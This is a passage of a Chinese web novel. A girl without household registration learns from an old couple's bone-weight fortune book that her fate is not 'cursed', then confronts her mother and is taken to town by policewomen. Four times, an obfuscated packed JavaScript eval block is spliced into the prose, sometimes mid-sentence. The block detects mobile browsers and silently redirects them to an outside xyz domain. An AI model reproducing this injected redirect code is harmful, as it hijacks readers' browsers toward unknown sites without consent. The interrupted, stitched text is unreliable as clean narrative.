之前就有听说过镇上的银行被偷了,还有钱没有找回来,说不定就是这个钱。 这个事情,还是上一次妈妈来看妹妹,当做新鲜事说给大姨,大姨跟人说的时候,她就听到了。 那一次,妈妈来看妹妹,她不在,她当时也不懂自己在想什么,她一个人背着背篓,去山里打柴,没有回来吃午饭,她天快黑了才回来,妈妈当时还没有走,大姨把妈妈送出来,手里拿着火把,她躲在一边,听她们说话。 大姨说:“都这么晚了,不如明天再回去?” “家里事情多,今天得回去,大姐,谢谢你……”说着话,人就哽咽了起来,“要不是你,我真的不知道该怎么办了。” “我们姐妹,说这些做什么。” 常芳觉得,大姨对她妈妈真的很好。 另一边,大姨继续说道:“平时常芳也算是勤快听话,欢欢基本上都是她背着抱着带着,她今天早上不知道怎么就要去打柴,估计一会儿就回来了,你要不然就在这儿歇一晚上?” “算了,以后再来也来得及,现在家里缺钱得很,我明天早上还要去帮人做饭,挣点钱,我也想把欢欢带回去。” 现在,常芳有钱了……这个钱…… 凭什么啊?这个钱凭什么给那个女人啊?可是……可是……那个女人是她妈妈。 常芳打了打脑袋,不听话的东西,为什么要想这个问题,别想,别想,别想这个事情! 欢欢只看到姐姐捡了几个石灰菌,捡着捡着又开始打自己的脑袋。 说明石灰菌还不够好,欢欢左右看了看,然后飞快跑到了另一边—— “姐姐!!!你快来看啊,这里有一朵好好看的花啊!” 姐姐还在打脑袋。 小姑娘赶紧往上面跑了几步,来点好玩的吧,随便什么都行! “姐姐!姐姐!你快点来啊,这里有一户人家!” 果不其然,这话引起了她姐姐的注意力。 常芳也赶紧爬了上来,两个人就看到对面的山湾湾里有房子。 “姐姐,我们去问问路吧。” 常芳心里头有些奇怪,怎么单家独户的? 但有人就好,有人在就可以问问路。 常芳先找了袋子,把石灰菌都装起来,然后朝着那个房子走去。 另一边,猫头山的老两口这段时间很不高兴。 上一次银行被偷案,廖家得了五百块钱的奖金,廖家小两口因为绑架的事情已经在香金镇关押了,于是家里的盲人老辈子拿着五百块钱带着三个孩子摸索着上了猫头山,想要把钱给老两口,希望她们能原谅做错事的小辈。 老两口板着脸,没有要钱,但也没有说出去,外界以为钱还是给了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807758|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这事大家知道后,就有一些不懂事的亲戚三天两头地上门借钱。 “姨婆,但凡家里宽松一点,我们肯定开不了这个口,这不是……唉……” 来一个,老太太就赏两句—— “你们开不了口,我看你这张嘴巴一句都没有少说,我是你姨婆,不是你妈老汉,你屋头宽松不了,是你只有借钱的本事,没得挣钱的本事,我要是你,我就找个索索,把自己吊死算了。” “……都是亲戚,姨婆不借钱就不借,何必把大家都弄成仇人,你们当年娃儿没得了,我老汉还安慰过你们……” 老太太冷哼一声,骂道:“哟,那真是好大个功劳,你让你老汉来我这里说,我问问他,这么大个功劳,怕不是我给他弄个寺庙,把他供起来哟!” 老两口才不管来的人是谁,反正她们每天两眼一睁就恨全世界,恨别人的孩子能长大,恨别人家不把孩子当人依旧儿孙满堂,恨别人的娃儿好好活着又一天到晚地浪费生命…… 反正两眼一睁就是恨,除了警察云松和云松的同伴,其他人,谁来谁就得被她们当做发泄恨意的工具。 于是,当一个年轻女娃子背着一个小姑娘,来了家门口,老太太今天已经骂够了,反手就把门关了。 常芳:“……” 欢欢不懂看人脸色,她跑到了门口:“婆婆,婆婆,你知不知道金山村怎么走啊,我和我姐姐要去金山村找妈妈。” 金山村,一大一小,两个女娃子。 老太太把门打开,这才意识到这是之前云松说过的那对姐妹。 “你们这是要回自己家?” 欢欢特别开心,把手里的石灰菌拿给老太太看:“我们给妈妈送石灰菌回去!” 欢欢觉得姐姐可能脑壳又出问题了,上一次妈妈说了,要等弟弟出生了才能回去,现在回去肯定不行,万一妈妈不要她们回去,她们就说只是送石灰菌回去,这样就不丢脸了。 老太太心里的恨啊,又冒出来了,她忍不住说道—— “你们家都不要你们了,你们这么眼巴巴地跑去干嘛?” “不是的,妈妈说了,等弟弟生出来,就接我回去。”欢欢说道。 老太太说道:“那你弟弟生出来了?” “……没有。” “那你们回去做什么?” 欢欢本来都心慌,她压力太大了,姐姐没事就发疯,妈妈不要她们,现在还迷路了,好不容易遇到了人,对方还问出了欢欢最害怕的问题。 欢欢一想,哇的一声哭了出来。 常芳赶紧把妹妹抱了起来,她也是第一次接受到来自陌生人的恶意,她不明白对方为什么这样对她们姐妹,可她又不欠这个老太太的,她连她们家的一口水都没喝过。 现在妹妹这样哭,她攻击性一下子就上来了:“老太太,你讲一下理,我们是来问路,不是来找骂,你这样欺负小孩子要下十八层地狱!” 老太太其实有点后悔了,毕竟这就是两个孩子,这姑娘这样说,她倒也不生气,她反而忍不住点一下对方:“还是你们讲理,我说你们两句,我就是欺负你们,我就犯了天大的罪,我就要下十八层地狱了。” “那你们爹妈呢?你看看你们两个,可怜成这个样子,你——你今天十七岁了吧,你过过一天好日子吗?你爹妈要不要下地狱?” “她们也不想这个样子,是我命不好。”常芳嘴里说着这样的话,可她的心里莫名地重复了一遍老太太说的话。 你过过一天好日子吗?你爹妈是不是也要下地狱? 她心里生出了一种隐蔽的,不能让人发现的解脱感。 常芳自己都没有发现,她对老太太没什么恶意了,她说的话,也不是平常随随便便对陌生人说的话:“是我克我妈,害得她生不出儿子,害得我们张家这一代都是女儿……” “哟,这么厉害,没看出来啊!”老太太语气刻薄,道:“还是个送女观音啊!那你回啥子家哟,快回到自己的庙里面去。” 嘿嘿。常芳在心里被逗笑了。 35.她们说我能诅咒人(四) 第三十五章 老太太听到克人啊,命啊的时候,是真的被气笑了。 她公公是十村八店出了名的八字先生,还教过她男人算这些东西,当初她两个娃儿出生也是算过骨重,两个都是五两,公公还说以后都有出息。 同林镇这里的人并不是算生辰八字,这里的八字先生虽说也叫八字先生,但大家用的是唐代袁天罡称骨算命,袁天罡是益州人,也就是四川成都人,他的算命法对整个西南地区的影响都很大,于是从雨兰镇到香金镇这一片的八字先生都是用称骨算命。 称骨算命是指年月日时辰都对应一个重量,最低五钱,最高一两九钱,最后全部想加,得出一个数字,数字有对应的解读。 四两以上,命就不算差了。 当初,老太太的两个孩子都是五两,这是好命格,结果说没了就没了,所以,她完全不信这些。 “自古以来,我只听说拉不出来屎怪茅坑,还第一次听说没得儿子怪别人克了,怎么不说是她们命里就没得儿子呢?” 常芳说不清楚自己到底怎么了,可她面对这个老太太的时候,话密了很多。 她听着老太太骂她父母,她心里头一面觉得这样是不对的,一面又觉得痛快。 因为这无法控制的痛快,让她对自己更增加了厌恶,于是,她又赶紧帮家里人说话:“不是她们的问题,我是真的会克人,我……” “哟,你还挺骄傲,这么有能耐,阎王应该下台,让你上去当。”老太太觉得这姑娘脑壳有包。 “我没有骄傲,我克死了我二姨的小儿子……”常芳低下了头,鼻子酸酸的,眼睛又红了。 “你给他喂毒药了?那这是你的问题了。”老太太说道。 “没有……”常芳从那天开始,就一直被重复这一件事,也许她心里也很想说这句话:“那天我表哥带着他弟弟去池塘摸鱼,然后他弟弟没了……” 老太太愣了一下,她的心猛地刺了一下,紧接着骂道:“你让他们去的?” “没有啊……” 老太太问道:“然后她们平白无故说你把人克死了?” 常芳还没有说话,欢欢就猛地点头:“大家都这么说!” 老太太气得跺脚:“烂心肺的一群狗东西!” 她想起了过去,老两口一下子没了两个孩子,自然也有人在背后里安慰那个害死人的三哥,说什么,她们两口子平时肯定是得罪了哪路神仙,要不然,三个孩子,怎么就偏偏她们家两个孩子没了。还有人记得她们孩子五两的命数,说是穷地方,这个命肯定就活下去。没一句好话。 真是恨啊!越想越恨啊! 好在,这个时候老太太的老伴从旁边回来,不远处的田里出了冻菌,他去捡冻菌了。 现在提着一篮子冻菌回来,有些奇怪家门口的两个陌生孩子。 “老头子,你说好笑不好笑,这个女娃子说她害死了她亲戚的儿子,我还以为是什么投毒杀人之类的,再差也得是见死不救这个程度吧,结果她说她就靠命就把人克死了。” “这么厉害的命,放我们这山咔咔里可惜了,这事没通知国家吗?国家怎么说?”老爷爷一本正经地说道。 常芳又羞又觉得痛快,她磕磕巴巴地说道:“二姨……二姨……” “你二姨一家无非就是怕她大儿子害死了小儿子,以后名声不好,正好你在,就让你背这个黑锅了。你还在这里二姨……二姨……”老太太说道。 “这个不可能,二姨是个好人……” “好人啊。”老太太什么人没见过,她姑且就相信这姑娘所说的好人吧,于是问道—— “你那个表哥这件事发生以后,是不是经常骂你?是不是天天提醒你害死了他弟弟,你二姨是不是还让他别说了?” 常芳想起来了那个时候的事情,一开始其实二姨夫拿着竹条子一直打跪在地上的大表哥,一家人哭得死去活来。 后面,发现不是大表哥的错,是她克死了人,大表哥就没有挨打了,但大表哥会打她,说她克死了人。 那一次,二姨看到了,她哭着打了大表哥,最后还是把她送走了。 她觉得二姨一直都是对她最好的人,是她对不起二姨,后来她被送去了三姑家,因为这件事,她经常会从梦里面哭醒。 “所以我二姨人很好,我大表哥欺负我,她还打了大表哥。” 老太太:“ 那她还算有一点良心,分明就知道是自己大儿子害死了小儿子,让你背这个名声,然后看到大儿子没有愧疚反而真的把这件事全推给你了,于是你二姨生气了,她打自己大儿子。” 老太太门清。 对于很多大人来说,这是一眼就能看穿的事情,估计是想着这家人失去了一个孩子了,再加上和这个姑娘也没有多少关系,她爹妈都不养她,全靠这些亲戚,谁也都不会说破这种事情。 “不是这样……” “那她为什么打大儿子呢?” “反正不是这样,我就是个克死人的命,他们还找了八字先生来看,我就是这个命!”这下子,常芳是真的生气了,她本能地排斥自己没有克死人的事情,她好像在找自己的错误,证明别人这样对她不是因为不爱她,而是因为她犯错了,犯大错了。 老太太,一个看不惯同林镇所有人的人,此刻都觉得这姑娘是真的惨。 这姑娘还急得跳脚,非要说老太太错了:“你不知道,你不知道,她不是这样的人,我就是这个命……” 老太太这么多年了,看人就没有不准的时候,现在看这姑娘如此执迷不悟,她的脾气也上来了:“来来来,你说说你的生辰,我倒要听听到底有多克人!我要看看是不是听一遍都要死人?” 常芳又不肯说了。 欢欢一直在听姐姐和人吵架,她虽然年纪不大,可也是寄人篱下这么多年了,她就听懂了一个事情,姐姐觉得自己克死人了,那个婆婆觉得不是。 于是,欢欢赶紧说道:“姐姐,你快点说啊!你快点说啊!” 常芳不说。 欢欢只能想啊想:“姐姐今天十七岁了……” 老太太准备记下来。 常芳这就不干了,她其实也说不清自己到底想怎样,但肯定不能是错误的生辰,于是,她说了自己的生辰。 老太太和人吵架争论就没有不赢的时候,她没有孩子,平时自然不会给自己气受。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808839|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 今天自己跟这个姑娘讲道理,还说不通了,她咽不下这口气。 于是,她对这对姐妹说道:“你们坐在这里别动,老头子,进屋!” “老头子,你那个称骨本子呢?我今天不信说服不了她。” “她一个小孩子家家的,又不懂黄历,咱们想个办法给她掰扯一段。” 老爷子知道她要做什么,就去柜子里找,很快就在柜子最底下找到了。 “1986年,3月,26日,子时……” “一九八四年,甲子年,一两二钱,三月份的骨重是一两八钱,” 老太太不服输的心,眼睛都快盯瞎了,还在一直找。 “26在这里,一两八钱” 尽管老两口还没有加起来已经开始觉得有点不对劲了。 “还有一个子时。” “子时多少钱?” “莫着急,马上就找到了。” “子时是一两六钱……” 老太太忍不住说道:“不太对啊,我怎么感觉没有一个数字是小的。” 年月日时,很多时候骨重都只有几钱,一两都算是不错,但现在好像没有一个数字是小的。 老两口赶紧来加数字,最后得出来了一个数—— 六两四钱。 她们翻到了对应的命数—— 老两口看着这个命数,的确惊到了。 常芳姐妹们正在门口不远处的空地上整理石灰菌,把上面的松毛摘掉,老两口对石灰菌没有兴趣,她们屋后每年的三把菇冻菌都不怎么去捡,自然不会去捡石灰菌。 但姐妹俩似乎非常喜欢,小心翼翼地摘掉粘在上面的树叶泥巴,放在一边。 老两口知道了她的命数,其实两个人也不是很信这个,可这个姑娘信。 于是,老太太在旁边坐了下来。 老爷爷问道:“常芳啊,你们家给你的生日,确定就是1984年3月26子时吗?” “是啊。” “那是农历吗?” “是啊。” 老太太说道:“你识字吗?” 常芳读过书,自然识得字。 “你还是自己看吧。” 常芳拿着那发黄的纸的手都有些抖,她从小就知道自己命不好,可具体书上怎么写的,她还真不知道。 然后……她认得字,可有点看不懂。 老爷爷道:“你把你出生年月日对照着看后面的数字,再把所有的数字相加,得到一个数以后,翻到后面去,那里有对应的命数。” 常芳念着自己的生日,这是她来这个世界的时辰,也是因为这个,她从小就被送走了,她害得妈妈原本该生的弟弟变成了妹妹,克死了二姨的儿子,她有天大的罪过…… 常芳恨自己,恨自己的生辰,恨自己出生。 她学着当年给她算命的大人那样,解读自己的出生,她以为会看到天煞孤星命不好等字。 她的心跳得很厉害。 她翻到了六两四钱的位置。 那里是伴随着她出生的批语—— “此格威权不可当,紫袍金带坐高堂,荣华富贵谁能及,积玉堆金满储仓。” 36.她们说我能诅咒人(五) 第三十六章 常芳又翻了回来, 她重新又算了一遍。 依旧是这个结果。 常芳的眼睛又一个字一个字地看过一遍,她害怕自己读书不多,弄错了什么,没有错。 最后,她嘴里又念一遍这个令人心潮澎湃的命数,这些美好的命数才算是彻底落实在她的身上。 她是富贵命。 她转过头,笑着对旁边的妹妹说道:“妹妹,她们弄错了,我不克人。” “婆婆,婆婆,我们家弄错了,我不克人。” 这……老爷爷正要开口,老太太赶紧拉了他一下,她自己也不知道该怎么说了。 凭老两口的阅历,不可能弄错了。 但此时此刻,孩子处于大喜,若是再大悲,实在是可怜。 常芳只是高兴,她背上了原本的被子衣服,手里还拿着《称重歌》,对老两口说道:“婆婆,这个借给我行不行?” 老太太见她这么开心,知道她信了,心下一动,“这可是我们家的传家宝。” 常芳便预设了对方不会借给她了,心里头跟天塌了一样,她要怎么去跟大姨二姨,她妈说清楚…… 老太太继续说道:“我这个人不太好说话,东西借给你可以,但必须是你亲自来还。” 20分钟前,这传家宝还躺在柜子最底下,去塞被老鼠啃出来的洞。 常芳立马眉开眼笑:“好,我肯定会回来还给你。” “婆婆,这些石灰菌给你们吧,这是我和妹妹捡的,我们现在要回家了。” 老两口目送这姑娘欢欢喜喜地离开,走在要去镇上的那条路。 等等,她还记得警察同志说过,她们亲戚是老麻村,她自己家是金山村。 “你们现在是去镇上还是回家?” “回家啊!”语气轻快。 “你们知道怎么走回去吗?” 常芳停了下来,这才想起来还没有问路,刚才太兴奋了,乱走了。 老太太说道:“你们从这条路上去,上面是三里村,过了三里村四组,再往前就是金山村。” 姐妹俩记好了,换个方向,继续往前走。 老两口倒没有觉得不安全,一方面同林镇这么大的娃满山跑很正常,另一方面,这两姐妹继续往上,绝对能遇到今天该往回走的警察同志们。 老两口的屋檐下是一堆石灰菌…… 石灰菌后山上到处都有,她们从来没捡过,以前是因为没有这个闲心,现在是因为她们家周围的蘑菇还有三把菇和冻菌,这两个都是一顶一的鲜美好吃,不像石灰菌那么依赖辣椒调味。 “都是一番心意,别扔了,这么多,煮一煮,晒干了放着也不错。”老爷子说道。 两个人便拿了一个大锅,直接把这些蘑菇放进锅里再倒水,完全煮熟,这才倒出来洗干净。 老两口手里洗着石灰菌,心里头想着常芳姐妹。 “你说她们家在想什么?这么好的命格,怎么还把人送走了?” 老爷子小时候就跟着自己父亲去给人算过命,猜测道:“以前有个说法,说是女儿的命格太好了,会压住下面的男孩,这家就不会有男孩来投胎。” 老太太自认为这辈子什么都见识过了,但还是觉得这事太稀奇了! 常芳往上走,走着走着,心里头快快活活,这种填满了她心的情感饱满又舒适。 她一路往前走,一路忍不住想着批语的事情。 不知道为何,过去,她觉得自己是天煞孤星,她心里头想的便是害了妈妈,害了妹妹,害了二姨的儿子,连累了大姨和三姑,她觉得自己是最糟糕的人,她应该去死。 可现在,她知道自己地命贵重,受天地的喜爱时,她忍不住在自己过去的人生去寻找证据—— 寻找自己是如此贵重,出生便是富贵命的证据。 她想起了一些小事,她小时候,到大姨家,有一次,大姨一家睡着了,但是火坑的火石没有全灭干净,半夜,火烧起来了,当时她起夜看到了,赶紧叫大姨起来!那一次多亏了她。 还有一次,她在山里捡柴,突然大暴雨,那个时候她背着柴,回二姨家的路上,脚滑,从坡上摔了下去,那么高,她一点事都没有。 还有还有,当初她都没有户口,也让她在学校里读书了,老师还夸她写的作文好。 最重要的事情,便是她身上的一千两百块钱。她理所当然地觉得,这是上天看不下去了,所以专门给她的钱。 怎么会这么好,她越想越觉得自己是幸运的,是幸福的。 常芳越走越快,她要告诉所有人,告诉所有人她命很好! 她心里头也有些犹豫,如果大家不信怎么办? “姐姐!姐姐!上面有警察!”欢欢在前面走得快,很快就看到了那边有人过来了,小孩子视力好,远远地认出来了来人。 警察?常芳一下子就从自己的世界里出来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816872|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不行不行,她们还没有户口,不能让警察看到了。 常芳抱着妹妹,不敢继续往上,也不想往回走,于是就从旁边的小路走进山里。 旁边是竹林,不像普通树林那样有可以躲的灌木丛,于是姐妹俩找到了一个低洼处,趴在里面,等警察过去再出来。 常芳想,等家里人知道她的命就不会让她黑户口了,她那么好的命。 也许是过去,大家把所有的问题,所有的事情,都推给她的命。 常芳信了。 现在知道自己的命不是那样,她自然也开始幻想自己能过上正常的生活。 很快,她们听到了警察下去的声音。 常芳还是多等了一会儿,等到彻底没有了声音,她们才从那里面出来。 姐妹俩现在心里有盼头,越走越快,也没有再迷路。 天黑之前,她们回了金山村,自己家。 常芳妈看到大女儿的那一刻,整个人慌了起来。 “你现在回来做什么?”她心里头气啊,她觉得常芳就是故意的,上一次回来是自己怀欢欢的时候,结果,欢欢生下来是女娃,紧接着连续几年都怀不上孩子,现在好不容易又怀上了,常芳又回来了! 常芳并不在意对方的黑脸,拿出了证据:“妈,她们弄错了,我命不会克人。” 常芳妈摆了摆手:“别说这些胡话了,芳芳,你大姨二姨有多着急,你知道吗?快点回你二姨家去。” “不是,妈,你听我说!我命非常好,我是富贵命,不是克人的命!二姨的孩子没了,不是我克的……” “常芳!”她妈吼了一句:“你到底想干什么?” 常芳眨了眨眼睛,她有些不明白,过去她们都一直说她的命,现在怎么都不看看她的命到底怎么回事? 其实,这个时候,常芳把钱拿出来,也许能说服人。 可常芳摸了摸钱,舍不得。 这不止是钱,这还是她是富贵命的证据。 她不给任何人。这是她的。 她的对面,妈妈在催她快点走,说是“等弟弟生下来了,你就能回来了。” 若是过去,她现在就在难过了,可今天,她没有觉得难过,她只是站在门口,说道:“妈,我不做别的,我要上户口。” 她没有克人,没有害人,那她必须要有户口。 云松三个人再一次上来时,看到的便是在自己家门口哭天抢地,一定要有户口的常芳。 37.她们说我能诅咒人(六) 第三十七章 “我不管!我不是克人的命,我要上户口!三姑家那么多个孩子,全都上了户口了,大姨家的女儿也是都有户口,就我是黑户!” “你去跟三姑比,那我也比一比,你去看看你三姑的女儿有多听话,你再看看你,上一次我去你大姨家,想着看看你和你妹妹,结果你呢,那天在外面一天就是不肯回来,你以为我不知道你在想什么?” 常芳心里被刺了一下。 “你现在又说你自己命好,就是想说我们对不起你。你自己好好想想,把你养这么大,到底哪儿对不起你了?” 常芳妈越说越觉得委屈难受:“你出生的时候,你爸爸和奶奶一看是个女儿,连饭都不给我做,我床都下不得,饿着肚子,还要给你喂奶,你奶奶找了八字先生来算命,说是你这个命克弟弟,你奶奶听了就要把你送人,要不是我拦着,你早就被抱走了。” 若是以前,常芳会难过,因为这已经不是第一次听了,之前每一次听,她都觉得好难过,觉得对不起妈妈。 “我晓得,你就是怪我把你送到你大姨家,那个时候,我不送你怎么办?你不走,怎么生你弟弟?” 常芳妈越说越觉得委屈,觉得女儿不懂事,觉得自己这么多年为了她吃了这么多苦,常芳还要给她添麻烦。 常芳来之前想过妈妈爸爸会怎么说,想过奶奶会说什么。 可她没有想到,大家压根不看她手里的纸,也不在乎她说的命好。 她心里头那种难受的感觉马上就要出来了,可只是几个瞬间,她看着这张纸,又想到了自己的命数。 “命好”这件事好像有非常强大的力量,这个力量是过去大人们不断地给她灌输命差时注入进去的。 命格变了,大家依旧不把自己当一回事,常芳本能地不愿意去想大家的反应。 她死死地抱住了自己命格就是好,她来这个世界,上天给她安排了人生。 只要这样一想,所有的痛苦就会被挡在外面,她心里就会生出欢喜和愤怒。 欢喜是自己命好,自己没有克任何人。 愤怒是所有人的态度,她这么好的命,大家对她依旧不好。 常芳看着妈妈,妈妈似乎把所有的不高兴都归在她是个女儿身上。 可常芳觉得这样不对。 明明是大家的错!如果大家一开始不把她的命弄错,不因为她是女娃就讨厌她,而是知道她命好,长大了会很有钱很有出息,而是非常喜欢她。 那大家都不难过啊! 奶奶现在看到她唉声叹气说没有孙子,这是因为奶奶自己的问题,谁让她不喜欢自己这个孙女的?她要是变一变,喜欢孙女,这么多孙女,够她高兴很久了。 妈妈天天哭啊哭,无非就是因为不喜欢她,如果她自己变一变,那她也就不用哭啊哭了。 爸爸天天脾气不好,一副从来没有高兴过的样子,也是这样! 而她……常芳的脑子在这一刻几乎是过电一般,对一切有了全新的认知。 她过去总是难受得想要打死自己,那是因为她不喜欢自己! 妈妈她们不会改了,那她自己改。 第一步就是户口! 过去,常芳妈妈说了常芳出生时的事情,常芳就会变懂事。 然而今天没有。 今天常芳也要为难大家了,就像这些年来,她被为难的日子一样—— “你们难过是因为你们不喜欢我,只要你们喜欢我,所有的问题就都没有了。”所以,这一切都是他们自己的问题,和她没关系。 常芳妈觉得她疯了,说胡话。 常芳越想越觉得就是这个道理,是大家做错了,大家从一开始就做错了事情!而她却在承受这一切。 不行!不行!她必须要点什么! 户口!对,上户口! 于是,云松到的时候,欢欢在哭,常芳在要户口。 常芳的妈大着肚子气得手都在抖,她心里头只觉得愤怒到了极点。 如果不是这个丫头是女娃子,她哪里用得着吃这么多年的苦!如果不是因为她那个命格!老二怎么会也是女娃子! 可她看到了警察,于是便说道:“你要户口,你回你妈那里去要,我不是你妈。” 云松三个人也非常默契。 性格最活泼年纪最小的佟锦赶紧把常芳拉起来,高大严肃的唐朝负责驱散来看热闹的人。 脾气最好还有医学背景的云松则是负责被气到的孕妇。 云松把人扶到里面坐了下来,她扶着人的时候,把了脉,确定没什么问题,心里松了一口气。 常芳妈见警察,心里头有无数委屈,但现在也只能说:“说实话,这个娃儿是我大姐的娃儿,当初因为一些事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827314|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不能说是大姐的,所以就一直跟娃儿说是我生的她,她现在才会一直来找我。” 云松见她真诚的目光,无奈又自然的语气,还有掏心窝子一般的说辞。 云松都有点怀疑,是不是自己弄错了? 不对不对,她们这种情况,孩子就算是再傻,周围大人就算是再聪明,也不可能真的能够让孩子认错自己的父母。 但她就是不认,村子里的人想来也不会给她作证。 常芳妈现在只有一个想法,得把肚子里的孩子平安生下来。 常芳这么大了,都是大人了,警察不可能对她做什么。所以她不怕。 如果说在常芳小时候,常芳妈也就是金慧提起这个女儿还会抹眼泪,还会盼着快点生个儿子,把女儿也接回来,这么多年过去了,尤其是好不容易又怀上了一个,结果女儿却突然回来闹,她身体里那种对女儿一直不在身边的愧疚一丝也没有了。 云松看着她,女人脸上没有犹豫,没有难过。 云松不理解,于是她说道:“你好好养身体。我去看看常芳。” 常芳在佟锦的安抚下,现在情绪已经稳定下来了。 佟锦一句话就安抚住了这个姑娘:“别怕,我是警察,我们肯定要保护你。” 常芳一下子就不哭了,她看着眼前的警察,她有种整个世界陌生又颠倒的感觉。 过去,她一直以为警察会来抓她这样的人,现在突然告诉她,警察不是抓她,而是要保护她? 保护她?怎么保护她? 云松出来后,她看着常芳和欢欢两姐妹,她同样也在思考这个问题。 “算了,先把两个孩子带回镇上,再想办法。”哪怕是警察,这件事依旧不好处理。云松思考着,先带去镇上。 因为她们三个人是长期驻守同林镇,现在虽然没有派出所,可学校这边分配了三个学生寝室给她们。 学生宿舍里面最不缺的就是床。 常芳妈嘴上说着这两个孩子不是自己生的,实际上还是在里面偷听,见人被警察带走,还是出来问道:“警察同志,你们要把她们带去哪儿?” 云松道:“你们家不肯承认这是你们的孩子,她大姨和她二姨也说不是她们生的孩子。现在这种情况,只能先带去镇上,等调查结果。” 云松这样处理,也是想让张家人冷静下来,想清楚要怎么办。 38.她们说我能诅咒人(七) 第三十八章 云松三个人今天走的路比过去训练一天的运动量都大,好在三个人体力都很好,问题不算大。 尤其是唐朝,她当时赶走了其他人后,便和欢欢这个小姑娘坐在一边,两个人你一句我一句地聊了起来。 于是,云松确定要带两个孩子回镇上,唐朝便背着已经睡着了的欢欢,稳稳地往下走。 常芳原本还有些紧张,可当她看到警察背着她的妹妹时,她就不怎么紧张了。 她想了一下,也许警察能帮她上户口。 常芳对户口非常执着,一方面是读书的时候,她是黑户口,老师提过好几次,让她三姑给她把户口上了。 三姑自然不可能把户口上在自己家,她三个孩子,第一个是女娃,所以第二个娃没有交罚款,但她第三个孩子可是交了罚款,现在要是把户口上在自己家又得交一大笔钱。她自然不愿意。 每当这个时候,常芳三姑就会骂她们家—— “你是第一个娃儿,上户口都不需要钱,你老汉都不给上,晓得为啥子不?因为你上了,就占了一个名额了,他后头再生想两个儿子就要给罚款,她们就等着你们自己长大了,挣了钱,自己给罚款给自己上户口……” “我是真恨你们那一家子狗东西,我在娘家的时候不把我当人,我都嫁出去了,还扔个东西让我帮忙养!我是你们张家的奴才吗?” 那些读书的日子,每一天她都夹在父母和三姑之间,后来,不读书了,她在大姨家,又听大姨说—— 村子里有个没有户口的女娃子出去打工,因为没有户口,所以就借了别人的身份证。 大姨那个时候还说那个女娃子自己懂事,挣了钱还全都给家里。 常芳没有吭声。她不想那样,用别人的身份证,再挣钱给家里,就……就好像一辈子都是别人家的奴才一样,那样不如死了。 那是过去的想法,过去就想不如死了算了。 她过去像是被关在一个小小的罐子里,憋得透不过气来,那个让她死掉的声音,不是来自她妈妈,也不是她奶奶,也不是大姨家二姨家的这些大人。 她们其实都想要她活着。 她们希望在那个小小的瓶子里,痛苦地活着。 那个让她去死的声音是她自己的想法,她每一天每一分钟,感受到的都是窒息,是能够看到的一辈子的痛苦。 她不想活着。 但现在,罐子不见了,她因为呼吸到了新鲜的空气而身体微微颤抖,她感觉自己的脚自己的手都充满了力量。 她今天走了一天的路了,可要跟着警察去镇上,她也不觉得累,她想要去镇上,想要看看警察的日子。她要想办法让警察同志帮她上户口。 她妹妹,欢欢此时趴在最高的警察同志背上睡觉,完全不知道这些事情,常芳心里也想给妹妹上户口。 明年妹妹七岁,可以读书了。 云松一直在观察常芳的情绪,确定她没事,心里也算是松了一口气。 她们这一次回去,依旧要经过三里村,之前也有两次都要经过这里,但当时警察们考虑的是失踪的孩子们,没有时间进去,现在找到了,也就有时间了。 云松对其他几个人说道:“我去见一个熟人,你们在村口等我。” 与其说熟人关系,倒不如说是警察与被抓的犯罪分子家属的关系。 梅强……也就是梅悦的二爷爷,现在已经在看守所关着,等待开庭审理。 云松之前一直记得梅强一家弄了很多“洋辣子壳壳”卖钱,后面又没有卖成,她事后才知道那是蝉蜕,的确能卖钱,只是同林镇这边药铺消化不了。 云松之前就和村支书说过这个事情,让他把村子里的蝉蜕都收起来,她会来拿一下,到时候她们回城,就带去城里卖钱。 云松来的时候,以为自己会被骂,毕竟她在城里有过这种经验了,那个时候在城里逮了两个夜市斗殴带刀的人,按照流程拘捕后,需要告知家属。 当时她和另一个同事就是带着拘捕书去通知家属,她家属最开始不相信,确定是真的后,开始赶她们,辱骂她们。 她这一次就是有这个心理准备,所以没有让另外几个人跟着一起来。 